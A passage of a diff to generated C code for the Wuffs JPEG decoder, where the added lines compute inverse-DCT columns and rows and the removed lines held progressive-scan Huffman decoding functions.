((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][46u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][46u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][62u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][62u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[6u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[62u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[14u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[54u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[22u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[46u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[30u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[38u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, +- self->private_impl.f_bitstream_ri, +- self->private_impl.f_bitstream_wi), +- ((uint64_t)(self->private_impl.f_bitstream_ri))); +- do { +- do { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { +- v_ret = 1u; +- goto label__goto_done__break; +- } +- if (v_n_bits < 16u) { +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- } +- v_z = self->private_impl.f_mcu_zig_index; +- self->private_impl.f_mcu_zig_index = 0u; +- v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[0u]; +- v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; +- while (v_z <= ((uint32_t)(self->private_impl.f_scan_se))) { +- v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_ac_bl = (v_ac_ht_fast >> 8u); +- if (v_n_bits >= v_ac_bl) { +- v_ac_symbol = (255u & v_ac_ht_fast); +- v_bits <<= (v_ac_bl & 63u); +- v_n_bits -= v_ac_bl; +- } else { +- v_ac_code = ((uint32_t)((v_bits >> 55u))); +- v_ac_blm1 = 8u; +- v_bits <<= 9u; +- v_n_bits -= 9u; +- while (true) { +- v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; +- if (v_ac_code < (v_ac_ht_slow >> 8u)) { +- v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); +- break; +- } +- v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); +- if (v_ac_blm1 == 0u) { +- v_ac_symbol = 0u; +- break; +- } +- } +- } +- v_ac_rrrr = (v_ac_symbol >> 4u); +- v_z += (v_ac_rrrr + 1u); +- v_ac_ssss = (v_ac_symbol & 15u); +- v_ac_extend = WUFFS_JPEG__EXTEND[v_ac_ssss]; +- if (v_ac_ssss > 0u) { +- v_ac_value = ((uint16_t)((v_bits >> (64u - v_ac_ssss)))); +- v_ac_value += (v_ac_extend & (((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)); +- v_bits <<= v_ac_ssss; +- v_n_bits -= v_ac_ssss; +- self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[v_z]] = ((uint16_t)(((uint16_t)(v_ac_value << self->private_impl.f_scan_al)))); +- } else if (v_ac_rrrr < 15u) { +- self->private_impl.f_eob_run = ((uint16_t)(((((uint16_t)(1u)) << v_ac_rrrr) - 1u))); +- if (v_ac_rrrr > 0u) { +- self->private_impl.f_eob_run += ((uint16_t)((v_bits >> (64u - v_ac_rrrr)))); +- v_bits <<= v_ac_rrrr; +- v_n_bits -= v_ac_rrrr; +- } +- break; +- } +- } +- } while (0); +- } while (0); +- label__goto_done__break:; +- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); +- if (v_pos > self->private_impl.f_bitstream_wi) { +- v_ret = 2u; +- } else { +- self->private_impl.f_bitstream_ri = v_pos; +- } +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; ++ if (0u == (self->private_data.f_mcu_blocks[0u][15u] | ++ self->private_data.f_mcu_blocks[0u][23u] | ++ self->private_data.f_mcu_blocks[0u][31u] | ++ self->private_data.f_mcu_blocks[0u][39u] | ++ self->private_data.f_mcu_blocks[0u][47u] | ++ self->private_data.f_mcu_blocks[0u][55u] | ++ self->private_data.f_mcu_blocks[0u][63u])) { ++ v_intermediate[7u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][7u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][7u])))) << 2u)); ++ v_intermediate[15u] = v_intermediate[7u]; ++ v_intermediate[23u] = v_intermediate[7u]; ++ v_intermediate[31u] = v_intermediate[7u]; ++ v_intermediate[39u] = v_intermediate[7u]; ++ v_intermediate[47u] = v_intermediate[7u]; ++ v_intermediate[55u] = v_intermediate[7u]; ++ v_intermediate[63u] = v_intermediate[7u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][23u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][23u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][55u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][55u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][7u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][7u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][39u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][39u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][15u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][15u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][31u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][31u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][47u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][47u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][63u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][63u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[7u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[63u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[15u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[55u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[23u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[47u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[31u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[39u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- self->private_impl.f_bitstream_bits = v_bits; +- self->private_impl.f_bitstream_n_bits = v_n_bits; +- return v_ret; +-} +- +-// -------- func jpeg.decoder.decode_mcu_progressive_ac_low_bit +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_ac_low_bit( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my) { +- uint32_t v_ret = 0; +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint16_t v_one_lshift_scan_al = 0; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint32_t v_pos = 0; +- const uint16_t* v_ac_huff_table_fast = NULL; +- uint8_t v_ac_h = 0; +- uint32_t v_ac_symbol = 0; +- uint32_t v_ac_ht_fast = 0; +- uint32_t v_ac_bl = 0; +- uint32_t v_ac_code = 0; +- uint32_t v_ac_blm1 = 0; +- uint32_t v_ac_ht_slow = 0; +- uint16_t v_ac_value = 0; +- uint32_t v_ac_rrrr = 0; +- uint32_t v_ac_ssss = 0; +- uint8_t v_unzig = 0; +- bool v_bit = false; +- +- v_bits = self->private_impl.f_bitstream_bits; +- v_n_bits = self->private_impl.f_bitstream_n_bits; +- v_one_lshift_scan_al = (((uint16_t)(1u)) << self->private_impl.f_scan_al); +- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { +- return 2u; +- } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, +- self->private_impl.f_bitstream_ri, +- self->private_impl.f_bitstream_wi), +- ((uint64_t)(self->private_impl.f_bitstream_ri))); +- do { +- do { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { +- v_ret = 1u; +- goto label__goto_done__break; +- } +- while (true) { +- if (self->private_impl.f_eob_run > 0u) { +- break; +- } +- v_ac_h = self->private_impl.f_mcu_blocks_ac_hselector[0u]; +- v_ac_huff_table_fast = &self->private_impl.f_huff_tables_fast[v_ac_h][0u]; +- while (true) { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_ac_ht_fast = ((uint32_t)(v_ac_huff_table_fast[(v_bits >> 56u)])); +- v_ac_bl = (v_ac_ht_fast >> 8u); +- if (v_n_bits >= v_ac_bl) { +- v_ac_symbol = (255u & v_ac_ht_fast); +- v_bits <<= (v_ac_bl & 63u); +- v_n_bits -= v_ac_bl; +- } else { +- v_ac_code = ((uint32_t)((v_bits >> 55u))); +- v_ac_blm1 = 8u; +- v_bits <<= 9u; +- v_n_bits -= 9u; +- while (true) { +- v_ac_ht_slow = self->private_impl.f_huff_tables_slow[v_ac_h][v_ac_blm1]; +- if (v_ac_code < (v_ac_ht_slow >> 8u)) { +- v_ac_symbol = ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_ac_h][(255u & ((uint32_t)(v_ac_code + v_ac_ht_slow)))])); +- break; +- } +- v_ac_code = (((uint32_t)(v_ac_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- v_ac_blm1 = ((v_ac_blm1 + 1u) & 15u); +- if (v_ac_blm1 == 0u) { +- v_ac_symbol = 0u; +- break; +- } +- } +- } +- v_ac_rrrr = (v_ac_symbol >> 4u); +- v_ac_ssss = (v_ac_symbol & 15u); +- v_ac_value = 0u; +- if (v_ac_ssss > 0u) { +- v_ac_value = (((uint16_t)(1u)) << self->private_impl.f_scan_al); +- if ((v_bits >> 63u) == 0u) { +- v_ac_value = ((uint16_t)(((uint16_t)(65535u)) << self->private_impl.f_scan_al)); +- } +- v_bits <<= 1u; +- v_n_bits -= 1u; +- } else if (v_ac_rrrr < 15u) { +- self->private_impl.f_eob_run = (((uint16_t)(1u)) << v_ac_rrrr); +- if (v_ac_rrrr > 0u) { +- self->private_impl.f_eob_run += ((uint16_t)((v_bits >> (64u - v_ac_rrrr)))); +- v_bits <<= v_ac_rrrr; +- v_n_bits -= v_ac_rrrr; +- } +- goto label__goto_do_eob__break; +- } +- while (true) { +- v_unzig = WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]; +- if (self->private_data.f_mcu_blocks[0u][v_unzig] != 0u) { +- if (v_n_bits == 0u) { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- } +- v_bit = ((v_bits >> 63u) > 0u); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- if (v_bit) { +- if (self->private_data.f_mcu_blocks[0u][v_unzig] < 32768u) { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_data.f_mcu_blocks[0u][v_unzig] += v_one_lshift_scan_al; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_data.f_mcu_blocks[0u][v_unzig] -= v_one_lshift_scan_al; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } +- } +- } else if (v_ac_rrrr <= 0u) { +- break; +- } else { +- v_ac_rrrr -= 1u; +- } +- if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { +- break; +- } +- self->private_impl.f_mcu_zig_index += 1u; +- } +- if (v_ac_value != 0u) { +- self->private_data.f_mcu_blocks[0u][WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]] = v_ac_value; +- } +- if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { +- break; +- } +- self->private_impl.f_mcu_zig_index += 1u; +- } +- goto label__block__break; +- } +- label__goto_do_eob__break:; +- if (self->private_impl.f_eob_run <= 0u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- while (true) { +- v_unzig = WUFFS_JPEG__UNZIG[(1u + self->private_impl.f_mcu_zig_index)]; +- if (self->private_data.f_mcu_blocks[0u][v_unzig] != 0u) { +- if (v_n_bits == 0u) { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- } +- v_bit = ((v_bits >> 63u) > 0u); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- if (v_bit) { +- if (self->private_data.f_mcu_blocks[0u][v_unzig] < 32768u) { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_data.f_mcu_blocks[0u][v_unzig] += v_one_lshift_scan_al; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_data.f_mcu_blocks[0u][v_unzig] -= v_one_lshift_scan_al; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } +- } +- } +- if (self->private_impl.f_mcu_zig_index >= ((uint32_t)(self->private_impl.f_scan_se))) { +- break; +- } +- self->private_impl.f_mcu_zig_index += 1u; +- } +-#if defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wconversion" +-#endif +- self->private_impl.f_eob_run -= 1u; +-#if defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } while (0); +- label__block__break:; +- } while (0); +- label__goto_done__break:; +- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); +- if (v_pos > self->private_impl.f_bitstream_wi) { +- v_ret = 2u; +- } else { +- self->private_impl.f_bitstream_ri = v_pos; ++ if (0u == (v_intermediate[1u] | ++ v_intermediate[2u] | ++ v_intermediate[3u] | ++ v_intermediate[4u] | ++ v_intermediate[5u] | ++ v_intermediate[6u] | ++ v_intermediate[7u])) { ++ if (a_dst_stride > ((uint64_t)(a_dst_buffer.len))) { ++ return wuffs_base__make_empty_struct(); + } +- v_r = o_0_v_r; +- iop_v_r = o_0_iop_v_r; +- io0_v_r = o_0_io0_v_r; +- io1_v_r = o_0_io1_v_r; +- io2_v_r = o_0_io2_v_r; +- } +- self->private_impl.f_bitstream_bits = v_bits; +- self->private_impl.f_bitstream_n_bits = v_n_bits; +- return v_ret; +-} +- +-// -------- func jpeg.decoder.decode_mcu_progressive_dc_high_bits +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu_progressive_dc_high_bits( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my) { +- uint32_t v_ret = 0; +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint8_t v_csel = 0; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint32_t v_pos = 0; +- uint8_t v_dc_h = 0; +- uint32_t v_dc_symbol = 0; +- uint32_t v_dc_ht_fast = 0; +- uint32_t v_dc_bl = 0; +- uint32_t v_dc_code = 0; +- uint32_t v_dc_blm1 = 0; +- uint32_t v_dc_ht_slow = 0; +- uint16_t v_dc_value = 0; +- uint16_t v_dc_extend = 0; +- +- v_bits = self->private_impl.f_bitstream_bits; +- v_n_bits = self->private_impl.f_bitstream_n_bits; +- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { +- return 2u; +- } +- { +- wuffs_base__io_buffer* o_0_v_r = v_r; +- const uint8_t *o_0_iop_v_r = iop_v_r; +- const uint8_t *o_0_io0_v_r = io0_v_r; +- const uint8_t *o_0_io1_v_r = io1_v_r; +- const uint8_t *o_0_io2_v_r = io2_v_r; +- v_r = wuffs_base__io_reader__set( +- &u_r, +- &iop_v_r, +- &io0_v_r, +- &io1_v_r, +- &io2_v_r, +- wuffs_base__make_slice_u8_ij(self->private_data.f_bitstream_buffer, +- self->private_impl.f_bitstream_ri, +- self->private_impl.f_bitstream_wi), +- ((uint64_t)(self->private_impl.f_bitstream_ri))); +- do { +- while (self->private_impl.f_mcu_current_block < self->private_impl.f_mcu_num_blocks) { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 264u) { +- v_ret = 1u; +- goto label__goto_done__break; +- } +- do { +- if (((uint64_t)(io2_v_r - iop_v_r)) < 8u) { +- v_ret = 2u; +- goto label__goto_done__break; +- } +- v_bits |= (wuffs_base__peek_u64be__no_bounds_check(iop_v_r) >> (v_n_bits & 63u)); +- iop_v_r += ((63u - (v_n_bits & 63u)) >> 3u); +- v_n_bits |= 56u; +- v_dc_h = self->private_impl.f_mcu_blocks_dc_hselector[self->private_impl.f_mcu_current_block]; +- v_dc_ht_fast = ((uint32_t)(self->private_impl.f_huff_tables_fast[v_dc_h][(v_bits >> 56u)])); +- v_dc_bl = (v_dc_ht_fast >> 8u); +- if (v_n_bits >= v_dc_bl) { +- v_dc_symbol = (15u & v_dc_ht_fast); +- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; +- v_bits <<= (v_dc_bl & 63u); +- v_n_bits -= v_dc_bl; +- } else { +- v_dc_code = ((uint32_t)((v_bits >> 55u))); +- v_dc_blm1 = 8u; +- v_bits <<= 9u; +- v_n_bits -= 9u; +- while (true) { +- v_dc_ht_slow = self->private_impl.f_huff_tables_slow[v_dc_h][v_dc_blm1]; +- if (v_dc_code < (v_dc_ht_slow >> 8u)) { +- v_dc_symbol = (15u & ((uint32_t)(self->private_impl.f_huff_tables_symbols[v_dc_h][(255u & ((uint32_t)(v_dc_code + v_dc_ht_slow)))]))); +- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; +- break; +- } +- v_dc_code = (((uint32_t)(v_dc_code << 1u)) | ((uint32_t)((v_bits >> 63u)))); +- v_bits <<= 1u; +- v_n_bits -= 1u; +- v_dc_blm1 = ((v_dc_blm1 + 1u) & 15u); +- if (v_dc_blm1 == 0u) { +- v_dc_symbol = 0u; +- v_dc_extend = WUFFS_JPEG__EXTEND[v_dc_symbol]; +- break; +- } +- } +- } +- v_dc_value = ((uint16_t)(((v_bits >> 32u) >> (32u - v_dc_symbol)))); +- v_dc_value += (v_dc_extend & (((uint16_t)(wuffs_base__utility__sign_extend_rshift_u64(v_bits, 63u))) ^ 65535u)); +- v_bits <<= v_dc_symbol; +- v_n_bits -= v_dc_symbol; +- v_csel = self->private_impl.f_scan_comps_cselector[self->private_impl.f_mcu_blocks_sselector[self->private_impl.f_mcu_current_block]]; +- self->private_impl.f_mcu_previous_dc_values[v_csel] += v_dc_value; +- self->private_data.f_mcu_blocks[self->private_impl.f_mcu_current_block][0u] = ((uint16_t)(self->private_impl.f_mcu_previous_dc_values[v_csel] << self->private_impl.f_scan_al)); +- } while (0); +- self->private_impl.f_mcu_current_block += 1u; +- } +- self->private_impl.f_mcu_current_block = 0u; +- } while (0); +- label__goto_done__break:; +- v_pos = ((uint32_t)(wuffs_base__u64__sat_add((v_r ? v_r->meta.pos : 0), ((uint64_t)(iop_v_r - io0_v_r))))); +- if (v_pos > self->private_impl.f_bitstream_wi) { +- v_ret = 2u; +- } else { +- self->private_impl.f_bitstream_ri = v_pos; ++ a_dst_buffer.ptr[0u] = WUFFS_JPEG__BIAS_AND_CLAMP[((((uint32_t)(v_intermediate[0u] + 16u)) >> 5u) & 1023u)]; ++ a_dst_buffer.ptr[1u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[2u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[3u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[4u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[5u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[6u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer.ptr[7u] = a_dst_buffer.ptr[0u]; ++ a_dst_buffer = wuffs_base__slice_u8__subslice_i(a_dst_buffer, a_dst_stride); ++ } else { ++ v_in2 = v_intermediate[2u]; ++ v_in6 = v_intermediate[6u]; ++ v_ra = ((uint32_t)(((uint32_t)(v_in2 + v_in6)) * 4433u)); ++ v_rb2 = ((uint32_t)(v_ra + ((uint32_t)(v_in2 * 6270u)))); ++ v_rb6 = ((uint32_t)(v_ra - ((uint32_t)(v_in6 * 15137u)))); ++ v_in0 = v_intermediate[0u]; ++ v_in4 = v_intermediate[4u]; ++ v_rcp = ((uint32_t)(((uint32_t)(v_in0 + v_in4)) << 13u)); ++ v_rcm = ((uint32_t)(((uint32_t)(v_in0 - v_in4)) << 13u)); ++ v_rd0 = ((uint32_t)(v_rcp + v_rb2)); ++ v_rd1 = ((uint32_t)(v_rcm + v_rb6)); ++ v_rd2 = ((uint32_t)(v_rcm - v_rb6)); ++ v_rd3 = ((uint32_t)(v_rcp - v_rb2)); ++ v_in1 = v_intermediate[1u]; ++ v_in3 = v_intermediate[3u]; ++ v_in5 = v_intermediate[5u]; ++ v_in7 = v_intermediate[7u]; ++ v_ri51 = ((uint32_t)(v_in5 + v_in1)); ++ v_ri53 = ((uint32_t)(v_in5 + v_in3)); ++ v_ri71 = ((uint32_t)(v_in7 + 